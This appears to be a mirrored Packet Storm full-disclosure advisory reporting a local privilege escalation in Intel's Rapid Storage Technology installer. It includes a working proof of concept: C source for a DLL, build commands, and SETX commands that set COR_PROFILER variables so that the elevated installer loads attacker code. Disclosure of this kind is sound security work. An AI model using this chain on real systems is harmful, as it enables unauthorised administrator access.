Lucene search
K

Intel RST User Interface / Driver Privilege Escalation

🗓️ 24 Mar 2021 00:00:00Reported by Stefan KanthakType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 222 Views

Intel RST User Interface / Driver Privilege Escalation CVEs and Demonstratio

Code
`Hi @ll,  
  
more than 2 years ago I disclosed 2 vulnerabilities leading to  
local escalation of privilege in the  
Intel® Rapid Storage Technology (Intel® RST) User Interface and Driver:  
see <https://seclists.org/fulldisclosure/2018/Nov/45>  
and <https://seclists.org/fulldisclosure/2018/Nov/52>  
  
Intel fixed this vulnerability only in their executable installer.  
  
Some time later Intel rewrote or rebuilt this installer (see  
<https://downloadcenter.intel.com/download/29978/Intel-Rapid-Storage-Technology-Driver-Installation-Software-with-Intel-Optane-Memor  
y>  
for its current version 18.0.1.1138, published 10/15/2020)  
and incorporated the second vulnerability.  
  
CVSS 3.0 score: 8.2 High  
CVSS 3.0 vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H  
  
Demonstration:  
~~~~~~~~~~~~~~  
  
0. Save the following source as sentinel.c in an arbitrary directory:  
  
--- sentinel.c ---  
// Copyright (C) 2004-2021, Stefan Kanthak <[email protected]>  
  
#define STRICT  
#define UNICODE  
#define WIN32_LEAN_AND_MEAN  
  
#include <windows.h>  
  
const STARTUPINFO si = {sizeof(si)};  
  
__declspec(safebuffers)  
BOOL WINAPI _DllMainCRTStartup(HANDLE hModule,  
DWORD dwReason,  
CONTEXT *lpContext)  
{  
WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL";  
  
PROCESS_INFORMATION pi;  
  
if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE,  
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP | CREATE_UNICODE_ENVIRONMENT,  
NULL, NULL, &si, &pi))  
{  
CloseHandle(pi.hThread);  
CloseHandle(pi.hProcess);  
}  
  
return TRUE;  
}  
--- EOF ---  
  
1. Start the command prompt of the 32-bit Windows Software Development Kit,  
then run the following command lines to compile sentinel.c and link it  
as sentinel.dll:  
  
cl.exe /Zl /W4 /O2 /GAFy /c sentinel.c  
link.exe /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /NODEFAULTLIB /NXCOMPAT /RELEASE /SUBSYSTEM:Windows sentinel.obj  
kernel32.lib  
  
ALTERNATIVE for steps 0 and 1:  
  
1. Download <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>  
and save it in an arbitrary directory.  
  
2. Logon with the user account created during Windows setup.  
  
3. Start a command prompt (unelevated!) and run the following command lines  
(replace <directory> with the pathname of the directory where you built  
or saved sentinel.dll):  
  
SETX.exe COR_ENABLE_PROFILING 1  
SETX.exe COR_PROFILER {32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}  
SETX.exe COR_PROFILER_PATH <directory>\sentinel.dll  
  
JFTR: this is just one method to set these environment variables without  
the need to elevate!  
  
4. Download <https://downloadmirror.intel.com/29978/eng/SetupRST.exe> and  
save it in an arbitrary directory.  
  
5. Execute SetupRST.exe per double-click, acknowledge the UAC prompt, then  
admire the console windows showing the output of WHOAMI.exe running  
elevated.  
  
stay tuned, and FAR AWAY from vulnerable crap built by Intel  
Stefan Kanthak  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation